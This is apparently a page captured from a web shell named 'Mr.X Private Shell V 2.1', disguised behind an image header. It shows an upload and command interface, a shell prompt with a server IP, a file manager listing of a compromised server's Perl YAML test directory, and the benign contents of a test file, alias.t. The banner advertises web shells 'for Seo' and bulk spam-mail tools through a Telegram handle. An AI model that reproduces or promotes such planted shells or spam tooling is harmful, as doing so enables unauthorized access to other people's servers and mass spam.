����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use FindBin '$Bin';
use lib $Bin;
use TestYAMLTests tests => 15;

my ($a, $b) = Load(<<'...');
---
- &one [ a, b, c]
- foo: *one
--- &1
foo: &2 [*2, *1]
...

is "$a->[0]", "$a->[1]{'foo'}",
   'Loading an alias works';
is "$b->{'foo'}", "$b->{'foo'}[0]",
   'Another alias load test';
is "$b", "$b->{'foo'}[1]",
   'Another alias load test';

my $value = { xxx => 'yyy' };
my $array = [$value, 'hello', $value];
is Dump($array), <<'...', 'Duplicate node has anchor/alias';
---
- &1
  xxx: yyy
- hello
- *1
...

my $list = [];
push @$list, $list;
push @$list, $array;
is Dump($list), <<'...', 'Dump of multiple and circular aliases';
--- &1
- *1
- - &2
    xxx: yyy
  - hello
  - *2
...

my $hash = {};
$hash->{a1} = $hash->{a2} = [];
$hash->{b1} = $hash->{b2} = [];
$hash->{c1} = $hash->{c2} = [];
$hash->{d1} = $hash->{d2} = [];
# XXX Failed on 5.21.4. 'e1' got quoted because it looks like a number?
# $hash->{e1} = $hash->{e2} = [];
$hash->{f1} = $hash->{f2} = [];
is Dump($hash), <<'...', 'Alias Order is Correct';
---
a1: &1 []
a2: *1
b1: &2 []
b2: *2
c1: &3 []
c2: *3
d1: &4 []
d2: *4
f1: &5 []
f2: *5
...

my $yaml = <<'...';
---
foo: &text |
  sub foo {
      print "hello\n";
  }
bar: *text
...

$hash = Load($yaml);
is $hash->{bar}, $hash->{foo}, 'Scalar anchor/aliases Load';
like $hash->{bar}, qr/"hello/, 'Aliased scalar has correct value';

$yaml = <<'...';
---
foo: &rx !!perl/regexp (?-xsim:lala)
bar: *rx
...

$hash = Load($yaml);
is $hash->{bar}, $hash->{foo}, 'Regexp anchor/aliases Load';
like "falala", $hash->{bar}, 'Aliased regexp works';

$yaml = <<'...';
---
- &empty
- *empty
- &nulltag !!null
- *nulltag
- &null null
- *null
- &tilde ~
- *tilde
...

$array = Load($yaml);
is scalar @$array, 8, 'Load "null" aliases works';
is scalar(grep defined, @$array), 0, 'Load "null" aliases returns undef';

$yaml = <<'...';
---
- &true true
- *true
- &false false
- *false
...

$array = Load($yaml);
is scalar @$array, 4, 'Load boolean aliases works';
is $array->[1], 1, 'Load boolean true alias';
is $array->[3], '', 'Load boolean false alias';


Filemanager

Name Type Size Permission Actions
data Folder 0755
oop Folder 0755
000-require-modules.t File 274 B 0644
TestYAML.pm File 153 B 0644
TestYAMLTests.pm File 2.73 KB 0644
alias.t File 2.02 KB 0644
api.t File 1.49 KB 0644
ascii.t File 869 B 0644
author-pod-syntax.t File 300 B 0644
binary.t File 379 B 0644
blessed.t File 1.98 KB 0644
boolean-boolean.t File 781 B 0644
boolean-invalid.t File 1013 B 0644
boolean-jsonpp.t File 765 B 0644
boolean.t File 1.28 KB 0644
bug-pvf.t File 231 B 0644
bug-stack.t File 258 B 0644
code.t File 1.47 KB 0644
dump-heuristics.t File 265 B 0644
dump-int.t File 945 B 0644
dump.t File 227 B 0644
duplicate-keys.t File 507 B 0644
empty.t File 738 B 0644
empty.yaml File 0 B 0644
error.t File 1.48 KB 0644
file.t File 852 B 0644
glob.t File 665 B 0644
indent.t File 334 B 0644
io-handle.t File 1.36 KB 0644
leak.t File 1 KB 0644
libyaml-version.t File 248 B 0644
load-blessed.t File 1.7 KB 0644
load.t File 230 B 0644
load_standard_tags.t File 1.32 KB 0644
loadfile-empty.t File 171 B 0644
long_plain_wrap.t File 421 B 0644
magic.t File 280 B 0644
native.t File 348 B 0644
null.t File 831 B 0644
numbers.t File 1.07 KB 0644
path-class.t File 544 B 0644
pl_sv_undef.t File 397 B 0644
private.t File 474 B 0644
quote.t File 538 B 0644
ref-scalar.t File 985 B 0644
regexp.t File 2.27 KB 0644
string_nulls.t File 239 B 0644
tags.t File 554 B 0644
tied.t File 2.14 KB 0644
utf8.t File 1.53 KB 0644
yaml_tests.yaml File 55 B 0644